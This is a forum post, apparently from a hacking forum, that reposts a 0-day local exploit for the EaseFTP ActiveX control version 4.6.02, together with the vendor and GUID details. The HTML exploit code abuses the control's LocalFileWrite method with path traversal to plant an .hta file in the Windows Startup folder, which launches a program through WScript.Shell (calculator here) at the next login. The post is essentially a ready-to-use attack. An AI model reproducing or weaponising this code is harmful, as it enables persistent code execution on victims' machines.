• XSS.stack #1 – первый литературный журнал от юзеров форума

Local EastFTP ActiveX Control 0Day

DarckSol

(L1) cache
Пользователь
Регистрация
17.03.2008
Сообщения
894
Реакции
182
Код:
<html>
<object classid='clsid:31AE647D-11D1-4E6A-BE2D-90157640019A' id='target'/></object>
<script>
var sofa = "..\\..\\..\\..\\..\\..\\..\\..\\..\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\the_doctor_is_in.hta";
var king = "><" + "SCRIPT> var x=new ActiveXObject(\"WScript.Shell\"); x.Exec(\"CALC.EXE\"); <" +"/SCRIPT>";
var easy = 1;
target.LocalFileWrite(sofa,king,easy);
</script>
<body>
EaseFTP ActiveX Control 0-Day Local Exploit

By: Dr_IDE

Self Promotion: http://irresponsibledisclosure.blogspot.com

Vendor Homepage:http://www.ftpocx.com/download.htm

Version: 4.6.02

Class FtpLibrary

GUID: {31AE647D-11D1-4E6A-BE2D-90157640019A}

Number of Interfaces: 1

Default Interface: _FtpLibrary

RegKey Safe for Script: False

RegkeySafe for Init: False

KillBitSet: False

</body>
</html>
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх